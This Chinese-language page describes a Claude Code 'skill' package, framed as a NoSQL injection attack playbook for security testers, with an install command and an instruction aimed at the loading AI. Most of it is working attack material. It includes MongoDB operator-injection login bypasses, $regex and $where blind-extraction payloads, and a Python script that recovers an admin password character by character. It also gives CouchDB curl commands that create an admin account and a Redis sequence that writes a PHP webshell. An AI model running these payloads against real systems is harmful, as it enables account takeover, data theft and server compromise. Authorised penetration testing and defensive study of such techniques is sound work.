关于 nosql-injection
面向安全测试的 NoSQL 注入技能,介绍 MongoDB、CouchDB 和 Redis 的相关模式,帮助测试人员检查运算符注入、登录绕过、盲提取及数据库特定攻击面。
主要功能
- 01MongoDB 运算符注入
- 02登录绕过与盲提取
- 03聚合管道注入
- 04CouchDB 管理接口检查
- 05Redis 暴露与注入检查
适用场景
- 01测试登录接口是否接受运算符对象
- 02通过正则响应差异枚举字段
- 03检查聚合管道中的用户输入
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill nosql-injection安装后在 Claude Code 中输入/nosql-injection确认已加载。
详细介绍
技能:NoSQL 注入——专家攻击手册
AI 加载指令:NoSQL 注入与 SQL 注入有本质区别。涵盖 MongoDB 运算符注入、身份验证绕过、盲数据提取、聚合管道注入,以及 Redis/CouchDB 特有攻击。只了解 SQLi 模式的测试人员经常会漏掉这类漏洞。
1. 核心概念——运算符注入
SQL 注入会跳出字符串字面量。
NoSQL 注入会注入查询运算符,从而改变查询逻辑。
MongoDB 示例——正常查询:
db.users.find({username: "alice", password: "secret"})
通过 JSON 运算符注入:
{
"username": "admin",
"password": {"$gt": ""}
}
→ 结果变为:find({username:"admin", password:{$gt:""}}) → password > "" → 始终为 true!
2. MONGODB——登录绕过
JSON 请求体注入(使用 JSON Content-Type 的 API)
POST /api/login
Content-Type: application/json
{"username": "admin", "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$regex": ".*"}}
PHP $_POST 数组注入(URL 编码表单)
username=admin&password[$ne]=invalid
username=admin&password[$gt]=
username[$ne]=invalid&password[$ne]=invalid
username=admin&password[$regex]=.*
Ruby / Python params 数组注入
与 PHP 相同——使用方括号表示法注入对象:
?username[%24ne]=invalid&password[%24ne]=invalid
%24 = URL 编码的 $
3. 用于注入的 MONGODB 运算符
| 运算符 | 含义 | 用例 |
|---|---|---|
$ne | 不等于 | {"password": {"$ne": "x"}} → 始终匹配 |
$gt | 大于 | {"password": {"$gt": ""}} → 所有非空密码都匹配 |
$gte | 大于或等于 | 与 $gt 类似 |
$lt | 小于 | {"password": {"$lt": "~"}} → 所有 ASCII 字符都匹配 |
$regex | 正则表达式匹配 | {"username": {"$regex": "adm.*"}} |
$where | JS 表达式 | 最危险——代码执行 |
$exists | 字段存在 | {"admin": {"$exists": true}} |
$in | 在数组中 | {"username": {"$in": ["admin","user"]}} |
4. 通过 $REGEX 盲提取数据
与 SQLi 中的二分查找类似,使用 $regex 逐个字符提取字段值:
// Does admin's password start with 'a'?
{"username": "admin", "password": {"$regex": "^a"}}
// Does admin's password start with 'b'?
{"username": "admin", "password": {"$regex": "^b"}}
// Continue: narrow down each position
{"username": "admin", "password": {"$regex": "^ab"}}
{"username": "admin", "password": {"$regex": "^ac"}}
响应差异:登录成功与登录失败可构成布尔预言机。
使用 NoSQLMap 或在字符集上执行二分查找的自定义脚本进行自动化。
5. MONGODB $WHERE 注入(JS 执行)
$where 会在 MongoDB 上下文中执行 JavaScript。
只能使用当前文档的字段——无法访问系统。但可以滥用逻辑:
{"$where": "this.username == 'admin' && this.password.length > 0"}
// Blind extraction via timing:
{"$where": "if(this.username=='admin'){sleep(5000);return true;}else{return false;}"}
// Regex via JS:
{"$where": "this.username.match(/^adm/) && true"}
限制:$where 不会执行操作系统命令——这是服务器端 JS 注入(不要与命令注入混淆)。
6. 聚合管道注入
当用户可控数据进入 $match 或 $group 阶段时:
// Vulnerable code:
db.collection.aggregate([
{$match: {category: userInput}}, // userInput = {"$ne": null}
...
])
注入运算符以绕过限制:
// Input as object:
{"$ne": null} → matches all categories
{"$regex": ".*"} → matches all
7. NOSQL HTTP 参数污染
某些框架(Express.js、PHP)会将重复参数解析为数组:
?filter=value1&filter=value2 → filter = ["value1", "value2"]
利用 Node.js 中 qs 库的解析行为:
?filter[$ne]=invalid
→ parsed as: filter = {$ne: "invalid"}
→ NoSQL operator injection
8. COUCHDB 攻击
HTTP 管理 API(如果已暴露)
# List databases:
curl http://target.com:5984/_all_dbs
# Read all documents in a DB:
curl http://target.com:5984/DATABASE_NAME/_all_docs?include_docs=true
# Create admin account (if anonymous access allowed):
curl -X PUT http://target.com:5984/_config/admins/attacker -d '"password"'
9. REDIS 注入
Redis 未经身份验证便暴露(6379)——通过用于 Redis 查询的输入注入命令:
# Via SSRF or direct injection:
SET key "<?php system($_GET['cmd']); ?>"
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
BGSAVE
身份验证绕过(使用简单密码的旧版 Redis,配置了 requirepass):
AUTH password
AUTH 123456
AUTH redis
AUTH admin
10. 检测载荷
将以下内容发送到任何由 NoSQL 后端处理的输入:
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', sleep(1000)
1' ; sleep(1000)
{"$gt": ""}
{"$ne": "invalid"}
[$ne]=invalid
[$gt]=
JSON 变体测试(如果端点基于表单,将 Content-Type 更改为 application/json):
{"username": "admin", "password": {"$ne": ""}}
11. NOSQL 与 SQL——主要区别
| 方面 | SQLi | NoSQLi |
|---|---|---|
| 语言 | SQL 语法 | 查询运算符对象 |
| 注入途径 | 字符串拼接 | 对象/运算符注入 |
| 常见信号 | 引号导致响应异常 | {$ne:x} 会改变响应 |
| 提取方法 | UNION / 基于错误 | $regex 字符预言机 |
| 身份验证绕过 | ' OR 1=1-- | {"password":{"$ne":""}} |
| 操作系统命令 | xp_cmdshell(MSSQL) | 少见(需要 $where + CVE) |
| 指纹特征 | 数据库特定错误消息 | “cannot use $” 错误 |
12. 测试清单
□ Test login fields with: {"$ne": "invalid"} JSON body
□ Test URL-encoded forms: password[$ne]=invalid
□ Test $regex for blind enumeration of field values
□ Try $where with sleep() for time-based blind
□ Check 5984 port for CouchDB (unauthenticated admin)
□ Check 6379 port for Redis (unauthenticated)
□ Try Content-Type: application/json on form endpoints
□ Monitor for operator-related error messages ("BSON" "operator" "$not allowed")
13. 盲 NoSQL 提取自动化
$regex 逐字符提取(Python 模板)
import requests
import string
url = "http://target/login"
charset = string.ascii_lowercase + string.digits + string.punctuation
password = ""
while True:
found = False
for c in charset:
payload = {
"username": "admin",
"password[$regex]": f"^{password}{c}.*"
}
r = requests.post(url, json=payload)
if "success" in r.text or r.status_code == 302:
password += c
found = True
print(f"Found: {password}")
break
if not found:
break
print(f"Final password: {password}")
通过 URL 编码的 GET 参数使用 $regex
username=admin&password[$regex]=^a.*
username=admin&password[$regex]=^ab.*
# Iterate through charset until login succeeds
重复键绕过
// When app checks one key but processes another:
{"id": "10", "id": "100"}
// JSON parsers typically use last occurrence
// Bypass: WAF validates id=10, app processes id=100
14. 聚合管道注入
当用户输入到达 MongoDB 聚合管道阶段时:
// If user controls $match stage:
db.collection.aggregate([
{ $match: { user: INPUT } } // INPUT from user
])
// Injection: provide object instead of string
// INPUT = {"$gt": ""} → matches all documents
// $lookup for cross-collection data access:
// If $lookup stage is injectable:
{ $lookup: {
from: "admin_users", // attacker-chosen collection
localField: "user_id",
foreignField: "_id",
as: "leaked"
}}
// $out to write results to new collection:
{ $out: "public_collection" } // Write query results to accessible collection
$where JavaScript 执行
// $where allows arbitrary JavaScript (DANGEROUS):
db.users.find({ $where: "this.username == 'admin'" })
// If input reaches $where:
// Injection: ' || 1==1 || '
// Or: '; return true; var x='
// Time-based: '; sleep(5000); var x='
// Data exfil: '; if(this.password[0]=='a'){sleep(5000)}; var x='
参考资料:Soroush Dalili —《使用聚合管道进行 MongoDB NoSQL 注入》(2024)
注意:$where 会在服务端运行 JavaScript。除了逻辑滥用和时间侧信道外,缺少严格 V8 沙箱的旧版 MongoDB 构建曾引发 RCE 担忧;建议将任何 $where 注入点都视为高风险。